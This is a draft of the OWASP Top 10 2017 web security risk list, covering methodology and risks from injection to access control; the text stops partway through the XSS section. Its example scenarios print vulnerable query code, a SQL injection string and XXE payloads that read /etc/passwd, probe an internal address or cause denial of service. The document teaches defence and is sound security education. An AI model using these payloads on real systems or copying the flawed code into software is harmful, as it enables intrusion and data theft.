OWASP Top 10 2017-master (pre-RC2)

October 17, 2017 (Andrew's birthday)

DRAFT STANDARD.

Comments welcome - **https://github.com/OWASP/Top10/issues**

Important Notice

This version is not a final draft.

We have worked extensively to validate the methodology, obtained a great deal of data on over 114,000 apps, and obtained qualitive data via survey by 550 community members on the two new categories - deserialization and insufficient logging and monitoring.

We strongly urge for any corrections or issues to be logged at GitHub

- **https://github.com/OWASP/Top10/issues**

Through public transparency, we provide traceability and ensure that all voices are heard during this final month before publication.

- Andrew van der Stock
- Brian Glas
- Neil Smithline
- Torsten Gigler

Table of Contents

Table of Contents

O About OWASP

Foreword

Insecure software is undermining our financial, healthcare, defense, energy, and other critical infrastructure. As our software becomes increasingly critical, complex, and connected, the difficulty of achieving application security increases exponentially. The rapid pace of modern software development processes makes risks even more critical to discover quickly and accurately. We can no longer afford to tolerate relatively simple security problems like those presented in this OWASP Top 10.

We received a great deal of feedback during the creation of the OWASP Top 10 2017, more than for any other equivalent OWASP effort. This shows how much passion the community has for the OWASP Top 10, and thus how critical it is for OWASP to get the Top 10 right for the majority of use cases.

Although the original goal of the OWASP Top 10 project was simply to raise awareness amongst developers, it has become *the* de facto application security standard. We have taken steps in this release to firm up the definition of issues, and improve the recommendations to be leading practices that may be adopted as an application security standard that covers off around 80-90% of all common attacks and threats. We encourage large and high performing organizations to use the **OWASP Application Security Verification Standard** if a true standard is required, but for most, the OWASP Top 10 is a great start on the application security journey.

We have written up a range of suggested next steps for different users of the OWASP Top 10, including "What's next for developers", "What's next for testers", "What's next for organizations" which is suitable for CIO's and CISO's, "What's next for application managers", which is suitable for application owners.

In the long term, we encourage all software development teams and organizations to create an application security program that is compatible with your culture and technology. These programs come in all shapes and sizes. Leverage your organization's existing strengths to do and measure what works for you.

We hope that the OWASP Top 10 is useful to your application security efforts. Please don't hesitate to contact OWASP with your questions, comments, and ideas at our GitHub project repository:

- **https://github.com/OWASP/Top10/issues**

Lastly, we wish to thank the founding leadership of the OWASP Top 10 project, Dave Wichers and Jeff Williams for all their efforts, and believing in us to get this finished with the community's help. Thank you!

- Torsten Gigler
- Brian Glas
- Neil Smithline
- Andrew van der Stock

About OWASP

The Open Web Application Security Project (OWASP) is an open community dedicated to enabling organizations to develop, purchase, and maintain applications and APIs that can be trusted. At OWASP you'll find free and open ...

- Application security tools and standards
- Complete books on application security testing, secure code development, and secure code review
- Standard security controls and libraries
- Local chapters worldwide
- Cutting edge research
- Extensive conferences worldwide
- Mailing lists

Learn more at: **https://www.owasp.org**

All of the OWASP tools, documents, forums, and chapters are free and open to anyone interested in improving application security. We advocate approaching application security as a people, process, and technology problem, because the most effective approaches to application security require improvements in these areas.

OWASP is a new kind of organization. Our freedom from commercial pressures allows us to provide unbiased, practical, cost-effective information about application security. OWASP is not affiliated with any technology company, although we support the informed use of commercial security technology. OWASP produces many types of materials in a collaborative, transparent and open way.

The OWASP Foundation is the non-profit entity that ensures the project's long-term success. Almost everyone associated with OWASP is a volunteer, including the OWASP Board, Chapter Leaders, Project Leaders, and project members. We support innovative security research with grants and infrastructure.

Come join us!

Copyright and License

Project Leads, OWASP Top 10 2017 post RC1 to Final

Project Leads
Torsten Gigler, Brian Glas, Neil Smithline, Andrew van der Stock

Project Leads, OWASP Top 10 2017 to RC1

Project Leads
Dave Wichers

Introduction

Welcome

Welcome to the OWASP Top 10 2017! This major update adds several new issues, including two issues selected by the community - A8:2017-Deserialization and A10:2017-Insufficient logging and monitoring. Community feedback also drove the collection of the most amount of data ever assembled in the preparation of an application security standard, and so we are confident that the remaining 8 issues are the most important for organizations to address, particularly the A3:2017-Exposure of Sensitive Data in the age of the EU's General Data Protection Regulation, A5:2017-Misconfiguration especially around cloud and API services, and A9:2017 Known Vulnerabilities, which can be especially challenging for those on modern platforms, like node.js.

The OWASP Top 10 for 2017 is based primarily on TBA large datasets from firms that specialize in application security, including TBA consulting companies and TBA product vendors. This data spans vulnerabilities gathered from hundreds of organizations and over 114,000 real-world applications and APIs. The Top 10 items are selected and prioritized according to this prevalence data, in combination with consensus estimates of exploitability, detectability, and impact.

A primary aim of the OWASP Top 10 is to educate developers, designers, architects, managers, and organizations about the consequences of the most common and most important web application security weaknesses. The Top 10 provides basic techniques to protect against these high risk problem areas – and also provides guidance on where to go from here.

Warnings

Don't stop at 10. There are hundreds of issues that could affect the overall security of a web application as discussed in the **OWASP Developer's Guide** and the **OWASP Cheat Sheet Series**. These are essential reading for anyone developing web applications and APIs. Guidance on how to effectively find vulnerabilities in web applications and APIs is provided in the OWASP Testing Guide and the OWASP Code Review Guide.

Constant change. The OWASP Top 10 will continue to change. Even without changing a single line of your application's code, you may become vulnerable as new flaws are discovered and attack methods are refined. Please review the advice at the end of the Top 10 in “What's Next For Developers, Verifiers, and Organizations” for more information.

Think positive. When you're ready to stop chasing vulnerabilities and focus on establishing strong application security controls, OWASP is maintaining and promoting the **OWASP Application Security Verification Standard (ASVS)** as a guide to organizations and application reviewers on what to verify.

Use tools wisely. Security vulnerabilities can be quite complex and buried in mountains of code. In many cases, the most cost-effective approach for finding and eliminating these weaknesses is human experts armed with good tools.

Push left, right, and everywhere. Focus on making security an integral part of your culture throughout your development organization. Find out more in the OWASP Software Assurance Maturity Model (SAMM).

Attribution

We'd like to thank the many organizations that contributed their vulnerability prevalence data to support the 2017 update, including these large data set providers:

- Aspect Security, AsTech Consulting, Branding Brand, Contrast Security, EdgeScan, iBLISS, Minded Security, Paladion Networks, Softtek, Vantage Point, Veracode

For the first time, all the data contributed to a Top 10 release, and the full list of contributors, is publicly available.

We would like to thank in advance those who contribute significant constructive comments and time reviewing this update to the Top 10 and to:

- TBA (List of contributors from GitHub issues)

And finally, we'd like to thank in advance all the translators out there that will translate this release of the Top 10 into numerous different languages, helping to make the OWASP Top 10 more accessible to the entire planet.

RN Release Notes

What changed from 2013 to 2017?

Over the last decade, and in particularly these last few years, the fundamental architecture of applications has changed significantly:

- JavaScript is now the primary language of the web. node.js and modern web frameworks such as Bootstrap, Electron, Angular, React amongst many others, means source that was once on the server is now running on untrusted browsers.
- Single page applications. Modern frameworks such as Angular and React allow the creation of highly modular front end user experiences, which integrate with...
- microservices. Older enterprise service bus applications using EJBs and so on, have been ported to node.js and Spring Boot microservices. Old code that never expected to be communicated directly from the Internet is now an API or RESTful web service. The assumptions that underlie this code, such as trusted callers, is simply not valid.

Change has accelerated over the last five years, and the OWASP Top 10 needed to change. We've completely refactored the OWASP Top 10, revamped the methodology, tested a new data call process, worked with the community, re-ordered our risks, re-written each risk from the ground up, and added in modern references to frameworks and languages that are now commonly used.

In this 2017 release, we made the following changes:

OWASP Top 10 2013
A1 - Injection
A2 - Broken authentication and session management
A3 - Cross-site scripting
A4 - Insecure direct object references
A5 - Security Misconfiguration
A6 - Sensitive Data Exposure
A7 - Missing Function Level Access Control
A8 - Cross-site Request Forgery (CSRF)
A9 - Known Vulnerabilities
A10 - Unvalidated redirects and forwards

NB: Although most of these issues are weaknesses, the last one is missing or ineffective controls. It has two CWE entries, but in this case, not only did the community rank this issue, we felt if we didn't include detection and response in the OWASP Top 10 2017, we'd be negligent in our duties to the wider development community. With firewalls, logging, network IPS and endpoint protection systems unable to detect web hacks, it falls on web apps themselves to be the new firewall, especially for cloud-based microservices, where there is no firewall, no IPS, and no end points.

New issues, supported by data

A4:2017-XML External Entity (XXE) is a new category primarily supported by SAST data sets, but when discovered by penetration testers and dynamic tools, this new issue allows attackers to disclose internal information, scan internal systems, and possibly perform denial of service attacks.

New issues, supported by the community

We asked the community to provide insight into two forward looking weakness categories. After 550 peer submissions, and after removing issues that were already supported by data (such as Sensitive Data Exposure and XXE), the two new issues are A8:2017-Deserialization, responsible for one of the worst breaches of all time, and A10:2017-Insufficient Logging and Monitoring, the lack of which can prevent or significantly delay malicious activity and breach detection, incident response and digital forensics.

Retired, but not forgotten

- **A4 Insecure direct object references** and A7 Missing function level access control. We have merged these two issues into a single access control finding, as the impacts and prevention recommendations are more or less identical. This allows us to free up an additional issue, which is XXE.
- **A8 CSRF -** After being inserted with little data in the OWASP Top 10 2007, when 100% of applications were vulnerable to CSRF, the OWASP Top 10 has served its purpose by including this issue, and it now is found in less than 2% of all applications.
- **A10 Unvalidated redirects and forwards**. Although this issue is a relative of XSS, and injections more broadly, the actual CWE issue has fallen out of the 10 positions available. As this issue is automatically detected by both DAST and SAST tools, we encourage organizations and vendors to keep on reporting on this issue.

+F Details about Risk factors

Top 10 Risk Factor Summary

The following table presents a summary of the 2017 Top 10 Application Security Risks, and the risk factors we have assigned to each risk. These factors were determined based on the available statistics and the experience of the OWASP Top 10 team.

Risk
A1:2017 Injection
A2:2017 Authentication
A3:2017 Sensitive data exposure
A4:2017 XXE
A5:2017 Misconfig
A6:2017 Access Control
A7:2017 XSS
A8:2017 Deserialization
A9:2017 Components
A10:2017 Logging and monitoring

A8 and A10 come from survey data, which is discussed in the TBA chapter. The two residual issues that did not have data to be included in their own right were deserialization (514/740) and insufficient logging and monitoring (440/740). The other survey items entered the OWASP Top 10 in their own right.

To understand these risks for a particular application or organization, you must consider your own specific threat agents and business impacts. Even major software weaknesses may not present a serious risk if there are no threat agents in a position to perform the necessary attack or the business impact is negligible for the assets involved.

Additional Risks To Consider

Every Top 10 requires us to make a judgement call as to what is included, and how far we can include other associated weaknesses into a single risk. This year is no different. If you want to look further, consider the following weaknesses for which we have significant data:

High Privacy impacts

- **Cryptographic Issues (CWEs-310/326/327/etc)**
- **Cleartext Transmission of Sensitive Information (CWE-319)**
- **Cleartext Storage of Sensitive Information (CWE-312)**

See the **OWASP Top 10 Privacy Risks** for more information.

High technical impacts

We do not have strong evidence for these issues, but the impact can be high:

- Server-Side Request Forgery (SSRF) (CWE-918)
- Unrestricted Upload of File with Dangerous Type (CWE-434)

Technical impacts

- Clickjacking (CWE-451) or CAPEC 103
- Cross-Site Request Forgery (CSRF) (CWE-352)
- Session Fixation (CWE-384)
- Path Traversal (CWE-22)
- Insufficient Anti-automation (CWE-799)
- Denial of Service (DOS) (CWE-400)
- Mass Assignment (CWE-915)

+R About Risks

About risks

During the creation of the OWASP Top 10 2017, we asked the community how they would like the issues to be presented. The overwhelming majority of respondents asked for risk-based ranking. It would be simpler for us to use prevalence only, or breach only ordering, because we have solid access data on that, but then we wouldn't be presenting risks.

ISO 31000 is the international standard for risk management. We aim to adhere to that standard, but we only include technical impact, and not business impact. Every ISO 31000 compliant organization adopting the OWASP Top 10 should add their business impact to our calculations. Why is this important? Consider the case where a CMS is used as a public website by one organization, and as a health records system by another. The data asset, risks and threats are very different, and yet the software is the same.

We present three likelihood factors:

- Exploitability - based upon our combined experience of if the issue is difficult to exploit requiring advanced skills uncommon in the industry, average, or easy (automated)
- Prevalence - comes unmodified from the 114,000 application data set
- Detectability - difficult or blind, average or easy (automated) detection

Impact is purely a technical impact, which we based upon our experience, history of breaches using this issue, and reputable sources such as the annual Verizon Data Breach Incident Report.

Defining our terms

One of the long standing tensions within the information security industry is the misunderstanding or misuse of common terms, such as threats, threat agents, weaknesses, defects, flaws, vulnerabilities, and risks. As such, we are defining our terms to ensure that there is no confusion.

Term
Data asset
Threat agent
Weakness
Flaw
Defect
Control
Impact

Our methodology includes three likelihood factors for each weakness (prevalence, detectability, and ease of exploit) and one impact factor (technical impact). The prevalence of a weakness is a factor that you typically don't have to calculate. For prevalence data, we have been supplied prevalence statistics from a number of different organizations (as referenced in the Attribution section on page 4) and we have averaged their data together to come up with a Top 10 likelihood of existence list by prevalence. This data was then combined with the other two likelihood factors (detectability and ease of exploit) to calculate a likelihood rating for each weakness. The likelihood rating was then multiplied by our estimated average technical impact for each item to come up with an overall risk ranking for each item in the Top 10.

Note that this approach does not take the likelihood of the threat agent into account. Nor does it account for any of the various technical details associated with your particular application. Any of these factors could significantly affect the overall likelihood of an attacker finding and exploiting a particular vulnerability. This rating also does not take into account the actual impact on your business. Your organization will have to decide how much security risk from applications and APIs the organization is willing to accept given your culture, industry, and regulatory environment. The purpose of the OWASP Top 10 is not to do this risk analysis for you.

The following illustrates our calculation of the risk for A5:2017 Security Misconfiguration, as an example. Misconfiguration is so prevalent it warranted the only 'PREVALENT' prevalence value of 4. All other risks ranged from uncommon to common (values 1 to 3).

A1 Injections

Threat agents/Attack vectors

Access Lvl \

Consider anyone who can send untrusted data to the system sends simple text-based attacks that exploit the syntax of the targe

Am I vulnerable to attack?

The best way to find out if an application is vulnerable to injection is to verify that all use of interpreters clearly separates untrusted data from the command or query. In many cases, it is recommended to avoid the interpreter, or disable it (e.g., XXE), if possible. For SQL calls, use bind variables in all prepared statements and stored procedures, or avoid dynamic queries.

Checking the code is a fast and accurate way to see if the application uses interpreters safely. Code analysis tools can help a security analyst find use of interpreters and trace data flow through the application. Penetration testers can validate these issues by crafting exploits that confirm the vulnerability.

Automated dynamic scanning which exercises the application may provide insight into whether some exploitable injection flaws exist. Scanners cannot always reach interpreters and have difficulty detecting whether an attack was successful. Poor error handling makes injection flaws easier to discover.

How do I prevent

Preventing injection requires keeping untrusted data separate from commands and queries.

1. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterized interface. Be careful with APIs, such as stored procedures, that are parameterized, but can still introduce injection under the hood.
2. If (1) is not available, you should escape special characters using the specific escape syntax for that interpreter. OWASP's Java Encoder and similar libraries provide such escaping routines.
3. Positive or "white list" input validation is also recommended, but is not a complete defense as many situations require special characters be allowed. If special characters are required, only approaches (1) and (2) above will make their use safe.

Example Scenarios

Scenario #1: An application uses untrusted data in the construction of the following vulnerable SQL call:

```
String query = "SELECT * FROM accounts WHERE custID='" +
request.getParameter("id") + "'";
```

Scenario #2: Similarly, an application's blind trust in frameworks may result in queries that are still vulnerable, (e.g., Hibernate Query Language (HQL)):

```
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" +
request.getParameter("id") + "'");
```

In both cases, the attacker modifies the 'id' parameter value in her browser to send: `' or '1'='1`. For example:

```
http://example.com/app/accountView?id=' or '1'='1
```

This changes the meaning of both queries to return all the records from the accounts table. More dangerous attacks could modify data or even invoke stored procedures.

References

OWASP

- OWASP Proactive Controls - Parameterize Queries
- OWASP Application Security Verification Standard - V5 Input Validation and Encoding
- OWASP Testing Guide: Testing for SQL Injection
- OWASP Testing Guide: Testing for Command Injection
- OWASP Testing Guide: Testing for ORM injection
- OWASP SQL Injection Prevention Cheat Sheet
- OWASP Injection Cheat Sheet for Java
- OWASP Query Parameterization Cheat Sheet
- OWASP Command Injection Defense Cheat Sheet

External

- CWE-77 Command Injection
- CWE-89 SQL Injection
- CWE-564 Hibernate Injection
- CWE-917 Expression Language Injection
- PortSwigger: Server-side template injection

A2 Authentication

Threat agents/Attack vectors

Access Lvl \

Attackers have access to hundreds of millions of valid username and password combinations for credential stuffing, default adm

Am I vulnerable to attack?

Evidence of identity, authentication and session management are critical for separating malicious unauthenticated attackers with users who you might have a legal relationship.

Common authentication vulnerabilities include:

- permits credential stuffing, which is where the attacker has a list of valid usernames and passwords
- permits brute force or other automated attacks
- permits default, weak or well-known passwords, such as "Password1" or "admin/admin"
- weak or ineffectual credential recovery and forgot password processes, such as "knowledge-based answers", which cannot be made safe
- plain text, encrypted, or weakly hashed passwords permit the rapid recovery of passwords using GPU crackers or brute force tools
- Missing or ineffective multi-factor authentication

How do I prevent

- **Store passwords using a modern one way hash function**, such as Argon2, with sufficient work factor to prevent realistic GPU cracking attacks
- Implement multi-factor authentication where possible to prevent credential stuffing, brute force, automated, and stolen credential attacks
- Implement rate limiting to limit the impact of automated attacks, credential stuffing, brute force, and default password attacks
- Implement weak password checks, such as testing a new password against a list of the top 10000 worst passwords
- Do not ship with default credentials, particularly for admin users
- Permit users to logout, and enforce logout on the server
- Log authentication failures, such that alerting administrators when credential stuffing, brute force or other attacks

Larger organizations should consider using a federated identity product or service that includes evidence of identity, common identity attack protections, multi-factor authentication, monitoring and alerting of identity misuse.

Please review the **OWASP Proactive Controls** for high level overview of authentication controls, or the **OWASP Application Security Verification Standard**, chapters V2 and V3 for a detailed set of requirements as per the risk level of your application

Example Scenarios

Scenario #1: The primary authentication attack in 2017 is **credential stuffing**, where billions of valid usernames and passwords are known to attackers. If an application does not rate limit authentication attempts, the application can be used as a password oracle to determine if the credentials are valid within the application, which can then be sold or misused easily.

Scenario #2: Most authentication attacks occur due to the continued use of passwords as a sole factor. Common issues with passwords include password rotation and complexity requirements, which encourages users to use weak passwords they reuse everywhere. Organizations are strongly recommended to stop password rotation and complexity requirements as per NIST 800-63, and mandating the use of multi-factor authentication.

Scenario #3: One the issues with storage of passwords is the use of plain text, reversibly encrypted passwords, and weakly hashed passwords (such as using MD5/SHA1 with or without a salt). GPU crackers are immensely powerful and cheap. A recent effort by a small group of researchers cracked **320 million passwords in less than three weeks**, including 60 character passwords. The solution to this is the use of adaptive modern hashing algorithms such as Argon2, with salting and sufficient workfactor to prevent the use of rainbow tables, word lists, and realistic recovery of even weak passwords.

References

OWASP

- **OWASP Proactive Controls - Implement Identity and Authentication Controls**
- **OWASP Application Security Verification Standard - V2 Authentication**
- **OWASP Application Security Verification Standard - V3 Session Management**
- **OWASP Testing Guide: Identity**
- **OWASP Testing Guide: Authentication**
- **OWASP Authentication Cheat Sheet**
- **OWASP Forgot Password Cheat Sheet**
- **OWASP Password Storage Cheat Sheet**
- **OWASP Session Management Cheat Sheet**

External

- **CWE-287: Improper Authentication**
- **CWE-384: Session Fixation**

A3 Sensitive Data Exposure

Threat agents/Attack vectors

Access Lvl \

Manual attack is generally required. This is a core skill of penetration testers and motivated attackers.

Am I vulnerable to attack?

The first thing is to determine the protection needs of data in transit and at rest. For example, passwords, credit card numbers, health records, and personal information require extra protection, particularly if that data falls under the EU's General Data Protection Regulation (GDPR), local privacy laws or regulations, financial data protection regulations and laws, such as PCI Data Security Standard (PCI DSS) or the US Gramm-Leach-Bliley Act, or health records laws, such as the US Health Insurance and Portability Act (HIIPA).

For all such data:

- Is any data transmitted in clear text, internally or externally? Internet traffic is especially dangerous, but from load balancers to web servers or from web servers to back end systems can also be problematic
- Is sensitive data stored in clear text, including backups of this data?
- Are any old or weak cryptographic algorithms used either by default or in older code?
- Are default crypto keys in use, weak crypto keys generated or re-used, or is proper key management or rotation missing?
- Is encryption not enforced, e.g. are any user agent (browser) security directives or headers missing?

Passive automated findings from tools, such as version disclosure or stack traces are not sensitive and thus not covered by this risk. For a more complete set of problems to avoid and potential solutions, please see the references below.

How do I prevent

Do the following, at a minimum and consult the references:

- Classify data processed, stored or transmitted by a system, for example sensitive personal information, health records, PCI DSS in scope data. Apply controls as per the classification.
- Do not collect or store unnecessary sensitive data, or have a data retention plan in place to age out old or unused records. Data you don't retain can't be stolen.
- Encrypt all sensitive data in rest
- Encrypt all data in transit, such as using TLS. Enforce this using directives like HTTP Strict Transport Security (HSTS). This is a requirement that modern browsers will start enforcing by the time the OWASP Top 10 2017 is released. They are currently alerting to unencrypted sites, and most now prevent login form submissions over clear text.
- Ensure up-to-date and strong standard algorithms or ciphers, parameters, protocols and keys are used, and proper key management is in place. Consider using FIPS 140 validated cryptographic modules.

- Ensure passwords are stored with a strong adaptive algorithm appropriate for password protection, such as Argon2i, scrypt, bcrypt and PBKDF2. Also be sure to set the work factor (delay factor) as high as you can tolerate.
- Disable browser caching of pages and API responses that contain sensitive data.
- Verify independently the efficacy of your settings.

Example Scenarios

Scenario #1: An application encrypts credit card numbers in a database using automatic database encryption. However, this data is automatically decrypted when retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text. Alternatives include not storing credit card numbers, using tokenization, or using public key encryption.

Scenario #2: A site simply doesn't use or enforce TLS for all pages, or if it supports weak encryption. An attacker simply monitors network traffic, strips or intercepts the TLS (like an open wireless network), and steals the user's session cookie. The attacker then replays this cookie and hijacks the user's (authenticated) session, accessing or modifying the user's private data. Instead of the above he could also alter all transported data, e.g. the recipient of a money transfer.

Scenario #3: The password database uses unsalted hashes to store everyone's passwords. A file upload flaw allows an attacker to retrieve the password database. All the unsalted hashes can be exposed with a rainbow table of pre-calculated hashes.

References

OWASP

- **OWASP Proactive Controls - Protect Data**
- **OWASP Application Security Verification Standard - V9 Data Protection**
- **OWASP Testing Guide - Testing for weak cryptography**
- **OWASP Cheat Sheet - User Privacy Protection**
- **OWASP Cheat Sheet - Password Storage**

External

The primary issue for this finding is protecting sensitive information, and not necessarily if the right algorithms are in place and effective:

- **CWE-359 Exposure of Private Inforamtion (Privacy Violation)**
- **CWE-220 Exposure of sensitive information through data queries**

The following CWEs are still very useful in achieving the goal of protecting sensitive data:

- **CWE-310 Cryptographic Issues**
- **CWE-312 Cleartext Storage of Sensitive Information**
- **CWE-319 Cleartext Transmission of Sensitive Information**
- **CWE-326 Weak Encryption**

Example of a failure under this finding includes:

- **Detailed analysis of Anthem Insurance data breach of 78.8 million sensitive health records**

A4 XML External Entities (XXE)

Threat agents/Attack vectors

Access Lvl \

Attackers who can access web pages or web services, particularly SOAP web services, that process XML. Penetration testers sho
discover this issue by inspecting dependencies and configuration.

Am I vulnerable to attack?

If your application accepts XML input, especially from untrusted sources, you may be vulnerable to XXE. You need to identify each XML processor in your application and determine if **document type definitions (DTDs)** has been disabled. As the exact mechanism for disabling DTD processing varies by processor, it is recommended that you consult a reference such as the **OWASP XXE Prevention Cheat Sheet**.

This statement seems weak, can we do better? If your application is using SOAP prior to version 1.2 it is susceptible to XXE attacks unless you have implemented specific remediations to ensure that XML entities are not being passed to the SOAP framework.

How do I prevent

Preventing XXE requires:

- Ensure the latest XML processors and libraries are in use. Co
- Ensure the XML processor is configured by default to not parse external entities
- Use SOAP 1.2 or later
- Consider disabling XML DTD processing in all XML parsers in your application.

Protecting against XXE attacks also protects against billion laughs denial-of-service attacks.

This statement seems weak, can we do better? If you are using SOAP, be sure that you are using version 1.2 or better.

Example Scenarios

Scenario #1: The attacker attempts to extract data from the server:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
 <foo>&xxe;</foo>
```

Scenario #2: An attacker probes the server's private network by changing the above `ENTITY` line to:

```
  <!ENTITY xxe SYSTEM "https://192.168.1.1/private/service" >]>
```

Scenario #3: An attacker attempts a denial-of-service attack by including a potentially endless file:

```
  <!ENTITY xxe SYSTEM "file:///dev/random" >]>
```

References

OWASP

- OWASP Proactive Controls - TBA - is this a good reference? Maybe there's no strong proactive controls reference for XXE?
- OWASP Application Security Verification Standard
- OWASP Testing Guide - Testing for XML Injection
- OWASP XXE Vulnerability
- OWASP XXE Prevention Cheat Sheet
- OWASP XML Security Cheat Sheet

External

- CWE-611 Improper Restriction of XXE
- Billion Laughs Attack

A5 Security Misconfiguration

Threat agents/Attack vectors

Access Lvl \

Even Anonymous attackers access default accounts, unused pages, unpatched flaws, unprotected files and directories, etc. to ga

Am I vulnerable to attack?

Is your application missing the proper security hardening across any part of the application stack? Including:

1. Are any unnecessary features enabled or installed (e.g., ports, services, pages, accounts, privileges)?
2. Are default accounts and their passwords still enabled and unchanged?
3. Does your error handling reveal stack traces or other overly informative error messages to users?
4. Do you still use ancient configs with updated software?
   Do you adhere on obsolete backward compatibility?
5. Are the security settings in your application servers, application frameworks (e.g., Struts, Spring, ASP.NET), libraries, databases, etc. not set to secure values?
6. Does the server not send any security directives to client agents (e.g. in headers) or are they not set to secure values?
7. Is any of your software out of date? (see 2017-A9)

Without a concerted, repeatable application security configuration process, systems are at a higher risk.

How do I prevent

The primary recommendations are to establish all of the following:

1. A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Development, QA, and production environments should all be configured identically (with different passwords used in each environment). This process should be automated to minimize the effort required to setup a new secure environment.
2. A process for keeping abreast of and deploying all new software updates and patches in a timely manner to each deployed environment. This process needs to include all components and libraries as well (see 2017-A9). Get get accustomed to new security features.
3. A strong application architecture that provides effective, secure separation between components.
4. An automated process to verify independently the effectiveness of the configurations and settings in all environments.

Example Scenarios

Scenario #1: The app server admin console is automatically installed and not removed. Default accounts aren't changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.

Scenario #2: Directory listing is not disabled on your web server. An attacker discovers they can simply list directories to find any file. The attacker finds and downloads all your compiled Java classes, which they decompile and reverse engineer to get all your custom code. Attacker then finds a serious access control flaw in your application.

Scenario #3: App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws such as framework versions that are known to be vulnerable.

Scenario #4: App server comes with sample applications that are not removed from your production server. These sample applications have well known security flaws attackers can use to compromise your server.

Scenario #5: The default configuration or a copied old one activates old vulnerable protocol versions or options that can be misused by an attacker or malware.

References

OWASP

- OWASP Development Guide: Chapter on Configuration
- OWASP Code Review Guide: Chapter on Error Handling
- OWASP Testing Guide: Configuration Management
- OWASP Testing Guide: Testing for Error Codes
  For additional requirements in this area, see the ASVS requirements areas for Security Configuration (V11 and V19).
- TBD:
- OWASP Proactive Controls - TBA
- OWASP Secure Headers Project - TBA
- OWASP Application Security Verification Standard - TBA
- OWASP Testing Guide - TBA
- OWASP Cheat Sheet - TBA

External

- NIST Guide to General Server Hardening
- CWE Entry 2 on Environmental Security Flaws
- CIS Security Configuration Guides/Benchmarks

A6 Access Control

Threat agents/Attack vectors

Access Lvl \

Exploitation of access control is a core skill of penetration testers. SAST and DAST tools can detect the abscense of access contro
abscence of access controls in certain frameworks.

Am I vulnerable to attack?

Access control is the process of ensuring that users cannot act outside of their role or granted permissions, such that they can only access secured information and functionality that they are explicitly granted access. Commonly, applications fail to enforce access control in a wide variety of ways, but typically this can lead to critical unauthorized information disclosure, modification or destruction of all data within a system, or performing a business function well outside of the limits of the user.

Common access control vulnerabilities include:

- Missing or ineffective presentation access control, accessing hidden, disabled, or privileged functionality through modifying the URL, internal app state, or the HTML page, or simply using a custom API attack tool
- Missing or ineffective controller access control, such as not checking that the web, mobile or API caller has privileges or capability to access that function
- Missing or ineffective model access control, where the primary key can be changed to another's users record, such as viewing or editing someone else's account
- Missing or ineffective domain model access control, where the business logic should enforce limits, such as cinema booking system not permitting individuals from booking out an entire cinema
- Elevation of privilege. Acting as a user without being logged in, or acting as an admin whilst logged in as a user
- Segregation of duty violations. Such as initating and approving a business flow not normally visible to the original user
- Metadata manipulation. Where a JWT access control token can be replayed or modified, or a cookie or hidden field manipulated to elevate privileges (such as changing `role=user` cookie to `admin`)
- Spidering an application using a proxy such as OWASP Zap, whilst logged on as a high privilege user, and then testing each page and controller whilst not logged in, or logged in as a low privilege user, or if directory browsing, revision control system files and thumbnails might be available to the tool

Access control testing is not currently amenable to automated static or dynamic testing, but when identified, it is a severe attack as the attacker has spent considerable effort manually testing the access control matrix before mounting an attack. Such attackers are usually highly competent, effective, and malicous in nature.

How do I prevent

Access control is only effective if enforced in trusted server-side code or server-less API, where the attacker cannot modify the access control check or metadata.

- Implement the priciples of deny by default and principle of complete mediation in your architecture, with the exception of public resources
- Centralized Implementation. Implement access control mechanisms once and re-use them throughout the application.
- Presentation layer access control must be enforced on trusted API endpoints or with server-side access control checks
- Controllers should enforce role-based, claims, or capability based access controls
- Model access controls should enforce record ownership, rather than accepting that the user can create, read, update or delete any record
- Domain access controls are unique to each application, but business limit requirements should be enforced by domain models
- Disable web server directory listing, and ensure file metadata such as `.git`, `.Thumbs.db` or `.DS_Store` is not present within web roots
- Log access control failures, such that alerting adminsitrators of unauthorized access is possible

Large and high performing organizations should consider:

- Implementing segregation of duties checks in risky or high value business flows
- Rate limiting API and controller access to minimize the harm from automated attack tooling
- Monitoring and escalate access control failures to operational staff as quickly as possible, particularly where access control failures are occuring extremely rapidly, such as with a scraping tool or similar

Developers and QA staff should include functional access control unit and integration tests to demonstrate that access controls are in place, in use, and effective using a variety of user principals, including anonymous access, users acting within their rights, direct object reference attacks - including creating, reading, updating and deleting records, users attempting to elevate privileges or acting outside their authority, and access control metadata attacks.

NB: Automated access control testing by SAST and DAST tools is not currently possible without providing human context. Such testing should not be relied upon to validate access controls are in place, in use and effective.

Example Scenarios

Scenario #1: The application uses unverified data in a SQL call that is accessing account information:

```
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
```

An attacker simply modifies the 'acct' parameter in the browser to send whatever account number they want. If not properly verified, the attacker can access any user's account.

- `http://example.com/app/accountInfo?acct=notmyacct`

Scenario #2: An attacker simply force browses to target URLs. Admin rights are also required for access to the admin page.

- `http://example.com/app/getappInfo`
- `http://example.com/app/admin_getappInfo`

If an unauthenticated user can access either page, it's a flaw. If a non-admin can access the admin page, this is also a flaw.

References

OWASP

- OWASP Proactive Controls - Access Controls
- OWASP Application Security Verification Standard - V4 Access Control
- OWASP Testing Guide - Access Control
- OWASP Cheat Sheet - Access Control

External

- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-284: Improper Access Control (Authorization)
- CWE-285: Improper Authorization
- CWE-639: Authorization Bypass Through User-Controlled Key

A7 Cross Site Scripting

Threat agents/Attack vectors

Access Lvl \

Automated tools can detect and exploit all three forms of XSS, and there are freely available exploitation frameworks.

Am I vulnerable to attack?

Three are three forms of XSS:

- **Reflected XSS**. If your application or API includes unsanitized user input as part of HTML output, and this is not validated or escaped, or there is no content security policy, the victim's browser will execute the attacker's arbitrary HTML or JavaScript content. Typically the user will need to interact with a link, or some other attacker controlled page, such as a watering hole attack such as malvertizing or similar.
- **Stored XSS** If your application or API stores unsanitized user input, and then this is viewed at a later time by another user or an administrator, the attacker can run arbitrary HTML or JavaScript on the victim user or administrator's browser. As the impact is higher, stored XSS is often considered a high or critical risk.
